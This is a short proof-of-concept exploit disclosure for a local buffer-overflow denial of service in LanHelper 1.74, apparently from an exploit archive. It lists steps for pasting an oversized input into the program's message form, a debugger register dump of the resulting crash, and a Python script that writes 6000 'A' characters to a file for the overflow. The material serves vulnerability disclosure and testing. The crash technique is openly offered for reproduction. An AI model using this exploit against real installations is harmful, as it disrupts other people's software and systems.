LanHelper 1.74 Denial Of Service

`# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)  
# Discovery by: Rafael Pedrero  
# Discovery Date: 2019-01-31  
# Vendor Homepage: http://www.hainsoft.com/  
# Software Link : http://www.hainsoft.com/  
# Tested Version: 1.74  
# Tested on: Windows XP SP3  
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow  
  
# Steps to Produce the Crash:  
# 1.- Run LanHelper.exe  
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script)  
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script  
# 4.- Paste the result from this python script in "Message text:", same form.  
# 5.- Click in Send button and you will see a crash.  
  
'''  
EAX 00410041 LanHelpe.00410041  
ECX 00410041 LanHelpe.00410041  
EDX 00410041 LanHelpe.00410041  
EBX 00410745 LanHelpe.00410745  
ESP 013DFE70  
EBP 013DFE94  
ESI 00B6F268  
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA"  
EIP 00401D0A LanHelpe.00401D0A  
C 0 ES 0023 32bit 0(FFFFFFFF)  
P 1 CS 001B 32bit 0(FFFFFFFF)  
A 0 SS 0023 32bit 0(FFFFFFFF)  
Z 0 DS 0023 32bit 0(FFFFFFFF)  
S 0 FS 003B 32bit 7FFD9000(FFF)  
T 0 GS 0000 NULL  
D 0  
O 0 LastErr ERROR_IO_PENDING (000003E5)  
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)  
ST0 empty  
ST1 empty  
ST2 empty  
ST3 empty  
ST4 empty  
ST5 empty  
ST6 empty  
ST7 empty  
3 2 1 0 E S P U O Z D I  
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)  
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0  
  
'''  
  
#!/usr/bin/env python  
  
crash = "\x41" * 6000  
f = open ("LanHelper_Crash.txt", "w")  
f.write(crash)  
f.close()  
`